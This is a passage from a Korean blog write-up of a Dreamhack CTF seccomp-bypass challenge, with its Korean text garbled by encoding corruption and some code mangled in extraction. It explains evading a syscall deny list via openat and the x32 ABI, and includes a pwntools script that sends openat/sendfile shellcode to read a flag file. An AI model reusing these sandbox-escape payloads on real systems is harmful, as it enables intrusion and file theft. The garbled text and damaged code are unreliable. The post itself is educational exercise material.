Jastes 2022. 11. 6. 23:50


Bypass SECCOMP-1

๋ฌธ์ œ ํ’€์ด

๋ณดํ˜ธ๊ธฐ๋ฒ•์€ ์ค€์ˆ˜ํ•  ์ •๋„๋กœ NX์™€ PIE, FULL ELRO๊ฐ€ ์žˆ๋Š” ๋ชจ์Šต
ASLR์€ ๋‹น์—ฐํžˆ ๊ธฐ๋ณธ์œผ๋กœ ๋˜์–ด ์žˆ๊ฒ ๋„ค์š”.. ใ… 

์šฐ๋ฆฌ๊ฐ€ ๋ฐฐ์› ๋˜ sendbox๊ฐ€ ์žˆ๋Š” ๋ชจ์Šต seccomp๊ฐ€ ์นœํžˆ ๊ฑธ๋ ค์žˆ๋Š”๊ตฐ์š”

์ฝ๊ธฐ, ์“ฐ๊ธฐ, ์‹คํ–‰ ๊ถŒํ•œ์ด ์žˆ๋Š” ํŽ˜์ด์ง€๋ฅผ ํ• ๋‹นํ•˜๊ณ  ์ด์šฉ์ž๋กœ๋ถ€ํ„ฐ ์ž…๋ ฅ๋œ ๊ฐ’์„ ์‚ฌ์šฉํ•œ๋‹ค..
sendbox์˜ ํ•จ์ˆ˜์— allow์˜ ๋ฆฌ์ŠคํŠธ๋ฅผ ๊ธฐ๋ฐ˜ํ•œ๋‹ค๋ฉด execve์™€ open, write๊ฐ€ ์•ˆ๋˜๋„ค์š”..
์ ˆ๋ง์ ์ธ๋ฐ?


Exploit ์„ค๊ณ„

๊ฐ™์€ ๊ธฐ๋Šฅ์„ ํ•˜๋Š” ์‹œ์Šคํ…œ ์ฝœ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. ์‹œ์Šคํ…œ ์ฝœ์— ๋Œ€ํ•œ ์ •๋ณด๋Š” ์•„๋ž˜ ๋งํฌ์—

 

Linux System Call Table for x86 64 · Ryan A. Chapman

Linux 4.7 (pulled from github.com/torvalds/linux on Jul 20 2016), x86_64 Note: 64-bit x86 uses syscall instead of interrupt 0x80. The result value will be in %rax To find the implementation of a system call, grep the kernel tree for SYSCALL_DEFINE.\?(sysca

blog.rchapman.org

open์€ ํŒŒ์ผ์„ ์—ด๊ธฐ ์œ„ํ•œ ์‹œ์Šคํ…œ ์ฝœ๋กœ, ์ด์™€ ๊ฐ™์€ ์—ญํ• ์„ ์ˆ˜ํ–‰ํ•˜๋Š” openat ์‹œ์Šคํ…œ ์ฝœ์ด ์กด์žฌํ•˜๋Š”๊ตฐ์š”!
๋‘ ์‹œ์Šคํ…œ ์ฝœ์€ ํŒŒ์ผ์„ ์—ด๊ณ  ํŒŒ์ผ ๋””์Šคํฌ๋ฆฝํ„ฐ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ์ ์€ ์œ ์‚ฌํ•˜๋‚˜
penat์€ ์ „๋‹ฌ๋œ ์ธ์ž์ธ dirfd๋ฅผ ์ฐธ์กฐํ•ด ํ•ด๋‹น ๊ฒฝ๋กœ์—์„œ ํŒŒ์ผ์„ ์ฐพ์Šต๋‹ˆ๋‹ค.

์‹œ์Šคํ…œ ์ฝœ์„ ํ˜ธ์ถœํ•˜๊ธฐ ์ „์— ์‹œ์Šคํ…œ ์ฝœ์˜ ์ธ์ž๋ฅผ ํ™•์ธํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. 

์œ„์— ๋งํฌ๋ฅผ ๋ณด์‹œ๋ฉด ์•Œ์ง€๋งŒ, ๋‘๋ฒˆ์งธ ์ธ์ž์ธ filename์ด ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋กœ ๋ช…์‹œ๋˜์–ด ์žˆ์„ ๊ฒฝ์šฐ
์ฒซ ๋ฒˆ์งธ ์ธ์ž์ธ dird๊ฐ€ ๋ฌด์‹œ๋œ๋‹ค๋Š” ๋‚ด์šฉ์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค(์™€์šฐ)

๋”ฐ๋ผ์„œ ํ•ด๋‹น ์‹œ์Šคํ…œ ์ฝœ์˜ ๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋‚ด๊ณ  ๋‘ ๋ฒˆ์งธ ์ธ์ž์— ํŒŒ์ผ ๊ฒฝ๋กœ ๋ฌธ์ž์—ด์˜ ์ฃผ์†Œ๋ฅผ
์ „๋‹ฌํ•˜๋ฉด ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ดํ•ด๋˜์…จ๋‹ค๋ฉด ๋ฐ”๋กœ ์…ธ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด๋ณด๋ฉด
openat ํ˜ธ์ถœ ์‹œ ๋‘๋ฒˆ์งธ ์ธ์ž์— ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋กœ ์ฝ์„ ํŒŒ์ผ๋ช…์˜ ์ฃผ์†Œ๋ฅผ ์ „๋‹ฌํ•˜๊ณ , ์ด์™ธ ์ธ์ž๋ฅผ NULL๋กœ ์ดˆ๊ธฐํ™”
์ธ์ž๋ฅผ ์ž˜ ์ „๋‹ฌํ•˜๊ธฐ ์œ„ํ•ด ์ฝœ๋ง ์ปจ๋ฒค์…˜์„ ๋˜์ง‘์–ด์•ผํ•˜๋Š”๋ฐ ์ด์ „์— ๋ฐฐ์› ๊ธฐ์— ์„ค๋ช…์€ ๋„˜์–ด๊ฐ€๊ฒ ์Šต๋‹ˆ๋‹ค.

Dreamhack์—์„œ๋Š”.. ์œ„์™€ ๊ฐ™์ด ์ž‘์„ฑํ•˜์˜€์Šต๋‹ˆ๋‹ค.. ์ €๋„ shellcraft์—์„œ ์ €๋Ÿฐ์‹์œผ๋กœ ์‘์šฉ์„..
๋ฐฐ์šธ ๊ธธ์ด ๋งŽ๋„ค์š” ใ… 


ABI

seccomp lib ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ tools๋กœ ํ™•์ธํ•ด๋ณด๋ฉด ์ฝ”๋“œ์—์„  ์ •์˜ X ๋น„๊ต ๊ตฌ๋ฌธ์ด ๋‚˜์˜ต๋‹ˆ๋‹ค.

๋ฐ”๋กœ 0x4000..
๊ทธ์ „์— ์ฝ”๋“œ๋ฅผ ๋ณด์‹œ๋ฉด ์‹œ์Šคํ…œ ์ฝœ์˜ ๋ฒˆํ˜ธ๋ฅผ ๋น„๊ตํ•˜๋Š” ๊ตฌ๋ฌธ์ด ์—†๋Š”๋ฐ ์—ฌ๊ธฐ์„  ์ƒ๊ฒผ์ฃ 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// Name: secbpf_dlist.c
// Compile: gcc -o secbpf_dlist secbpf_dlist.c
 
#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
 
#define DENY_SYSCALL(name)                                \
  BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 01), \
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
 
#define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
 
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
 
/* architecture x86_64 */
#define ARCH_NR AUDIT_ARCH_X86_64
 
int sandbox() {
  struct sock_filter filter[] = {
      /* Validate architecture. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 10),
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
      /* Get system call number. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
      /* List allowed syscalls. */
      DENY_SYSCALL(open),
      DENY_SYSCALL(openat),
      MAINTAIN_PROCESS,
  };
 
  struct sock_fprog prog = {
      .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
      .filter = filter,
  };
 
  if (prctl(PR_SET_NO_NEW_PRIVS, 1000== -1) {
    perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
    return -1;
  }
 
  if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
    perror("Seccomp filter error\n");
    return -1;
  }
 
  return 0;
}
 
int main(int argc, char* argv[]) {
  char buf[256];
  int fd;
 
  memset(buf, 0sizeof(buf));
  sandbox();
 
  fd = open("/bin/sh", O_RDONLY);
  read(fd, buf, sizeof(buf) - 1);
  write(1, buf, sizeof(buf));
 
  return 0;
}
cs


๊ทธ๋Ÿผ ๋‹ค์–‘ํ•œ ๋ถ€๋ถ„๊ณผ ๋น„๊ตํ•œ ํ›„ ๋น„๊ต ๊ตฌ๋ฌธ์ด ์™œ ์ถ”๊ฐ€๋˜์—ˆ๊ณ  ํ•ด๋‹น ๋น„๊ต๋ฌธ์ด
์—†๋‹ค๋ฉด ์–ด๋–ป๊ฒŒ ์šฐํšŒํ• ์ง€ ์•Œ์•„๋ด…์‹œ๋‹ค

x86๊ณผ x64์˜ ๋‘๊ฐœ์˜ ABI๋Š” ๊ฐ™์€ ํ”„๋กœ์„ธ์„œ์—์„œ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋‘ ์•Œ๋“ฏ์ด x86-64์—์„œ๋Š”
32bit ๋ช…๋ น์–ด๊ฐ€ ํ˜ธํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

SECCOMP๋ฅผ ์‚ฌ์šฉํ•ด๋ณด์•˜๋‹ค๋ฉด ์•„ํ‚คํ…์ฒ˜๋ฅผ ๋ช…์‹œํ•  ๋•Œ AUDIT_ARCH_X86_64๋ผ๋Š” ์ด๋ฆ„์œผ๋กœ ์ •์˜๋œ
๋ฉ”ํฌ๋กœ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ชจ๋‘” ์•„ํ‚คํ…์ฒ˜๋ฅผ ์ผ์ปซ๋Š” ํ•„๋“œ๋ช…์ด๊ณ ์š”
๊ทธ๋Ÿฌ๋‚˜ ๋‘ ๊ฐœ์˜ ABI๋Š” ๋ช…๋ฐฑํžˆ ๋‹ค๋ฅธ ์•„ํ‚คํ…์ฒ˜๋กœ์จ ๊ตฌ๋ณ„์„ ์œ„ํ•ด ์‹œ์Šคํ…œ์ฝœ ๋ฒˆํ˜ธ์— ํŠน์ •๊ฐ’์„ ๋„ฃ๋Š”๋ฐ
์ด ๊ฐ’์ด 0x4000..์ด๋„ค์š”

do_syscall_x64๋Š” ํ˜ธ์ถœํ•˜๋Š” ์‹œ์Šคํ…œ ์ฝœ ๋ฒˆํ˜ธ๊ฐ€ ์‹œ์Šคํ…œ ์ฝœ ๊ฐฏ์ˆ˜๋ฅผ ์ดˆ๊ณผํ•˜๋Š”์ง€
๋น„๊ตํ•˜๊ณ  ์ดˆ๊ณผํ•˜์ง€ ์•Š๋Š”๋‹ค๋ฉด ์‹œ์Šคํ…œ ์ฝœ์„ ํ˜ธ์ถœ

do_syscall_x32๋Š” ํ˜ธ์ถœํ•˜๋Š” ์‹œ์Šคํ…œ ์ฝœ ๋ฒˆํ˜ธ์—์„œ x32_SYSCALLBIT๊ฐ’์„ ๋บ€
์‹œ์Šคํ…œ ์ฝœ ๋ฒˆํ˜ธ๋ฅผ ์‚ฌ์šฉํ•ด ํ•ด๋‹น ๋งคํฌ๋กœ์˜ ๊ฐ’์€ 0x40000...


Exploit

๊ธฐ๋ณธ์ ์ธ ์ƒ์‹๊ณผ ๋ฐฐ๊ฒฝ์ง€์‹์€ ์ง‘๊ณ  ๋„˜์–ด๊ฐ”์œผ๋‹ˆ ๋ฐ”๋กœ ๋ถ„์„ ๋ฐ ์„ค๊ณ„๋ฅผ ํ•œ๋‹ค๋ฉด..

์ฝ”๋“œ์—์„œ ๋ณธ ๊ฒƒ๊ณผ ๊ฐ™์ด write, open, execve, execveat๊ฐ€ ๋ง‰ํ˜€์žˆ์Šต๋‹ˆ๋‹ค.

์šฐ์„  ์…ธ ์‹คํ–‰์„ ์œ„ํ•ด exec๊ณ„์—ด ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•  ๊นŒ ์‹ถ์ง€๋งŒ ๊ฒฐ๊ตญ execveํ•จ์ˆ˜๋งŒ syscall์ด๊ณ 
๋‚˜๋จธ์ง„ ์—ฌ๊ธฐ์— wrappingํ•˜๋Š” ํ•จ์ˆ˜์ด๊ธฐ์— ์‚ฌ์šฉ์ด ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค ใ… 

๊ทธ๋Ÿฌ๋ฏ€๋กœ ๋Œ€ํ‘œ์ ์œผ๋กœ openat์ด ์กด์žฌํ•˜๋Š”๋ฐ ์ด ํŒŒ์ผ์€ 64๋กœ ์ปดํŒŒ์ผ ๋ฌ์ง€๋งŒ 32๋กœ๋„ ํ˜ธํ™˜๊ฐ€๋Šฅํ•œ์ !

์ด ์ฝ”๋“œ๋ฅผ ์ฐธ๊ณ ํ•˜์—ฌ ์…ธ์„ ๋”ฐ๋Š” ์ฝ”๋“œ๋ฅผ ์„ค๊ณ„ํ•œ๋‹ค๋ฉด..

openat(int dfd, const char *filename, int flags, int mode)
openat(int dfd, const char *filename, int flags, int mode)
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
#p = process('./bypass_syscall')
= remote('host3.dreamhack.games'23626)
 
context(arch='x86_64')
 
payload = shellcraft.openat(0,'/home/bypass_syscall/flag')
payload += shellcraft.sendfile(1'rax'0100)
 
p.sendlineafter(': ', asm(payload))
p.interactive()
 
cs


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€